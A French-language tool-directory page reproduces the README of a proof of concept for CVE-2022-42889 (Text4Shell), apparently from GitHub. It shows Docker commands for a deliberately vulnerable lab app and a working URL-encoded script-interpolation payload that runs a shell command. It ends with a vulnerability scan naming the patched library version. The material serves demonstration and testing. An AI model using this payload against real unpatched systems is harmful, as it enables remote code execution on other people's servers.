Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-42889-PoC — CVE-2022-42889 (a.k.a. Text4Shell) RCE Preuve de concept | Kitploit
Outils/GitHubGitHub/sunnyvale-it/cve-2022-42889-poc
Sécurité des ConteneursGénération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et Éducation
GitHubsunnyvale-it/cve-2022-42889-poc

CVE-2022-42889-PoC

CVE-2022-42889 (a.k.a. Text4Shell) RCE Preuve de concept

Voir le dépôt
21il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-42889 (alias Text4Shell) Preuve de concept RCE

image

Text4Shell est le nom populaire d'une vulnérabilité logicielle critique découverte dans la bibliothèque Apache Commons Text (voir CVE-2022-42889).

Ce dépôt vise à démontrer une Exécution de Code à Distance (RCE) exploitant cette CVE.

Le code vulnérable est utilisé dans un contrôleur SpringBoot mais ne vous y trompez pas, ce N'EST PAS un problème de sécurité SpringBoot/Spring.

Avant de tester la RCE, construisez l'image Docker :

root@kitploit:~
$ docker build -t text4shell .
...
 => exporting to image                                                                                                                                                                                     0.0s
 => => exporting layers                                                                                                                                                                                    0.0s
 => => writing image sha256:5d82feaa030f5e7b35c1c6deaa12b40ef713c05001a41f5f71fff6174513507f                                                                                                               0.0s
 => => naming to docker.io/library/text4shell

Ensuite, lancez le conteneur :

root@kitploit:~
$ docker run --name text4shell --rm -ti  -p:8080:8080 text4shell
...
2022-11-05 09:11:03.798  INFO 1 --- [           main] it.sunnyvale.text4shell.Main             : Started Main in 1.376 seconds (JVM running for 1.713)

Vous pouvez enfin essayer d'exploiter l'application vulnérable avec une URL spécialement conçue :

root@kitploit:~
$ curl http://localhost:8080/text4shell/attack\?search\=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Fp0wned%27%29%7D
Search results for: ${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/p0wned')}%

Si vous trouvez un fichier nommé p0wned dans le répertoire /tmp du conteneur, la RCE a été exécutée avec succès.

root@kitploit:~
$ docker exec text4shell ls -l /tmp/p0wned
-rw-r--r--    1 root     root             0 Nov  5 09:17 /tmp/p0wned

En scannant l'image avec Snyk, la bibliothèque vulnérable est détectée :

root@kitploit:~
$ docker scan text4shell | grep text
Testing text4shell...
Project name:      docker-image|text4shell
Docker image:      text4shell
Testing text4shell...
Upgrade org.apache.commons:[email protected] to org.apache.commons:[email protected] to fix
✗ Arbitrary Code Execution (new) [High Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHECOMMONS-3043138] in org.apache.commons:[email protected]
introduced by org.apache.commons:[email protected]
Upgrade org.springframework:[email protected] to org.springframework:[email protected] to fix
✗ Improper Handling of Case Sensitivity [Low Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2689634] in org.springframework:[email protected]
introduced by org.springframework:[email protected]
Project name:      text4shell:latest:/app
Docker image:      text4shell
Télécharger l’outil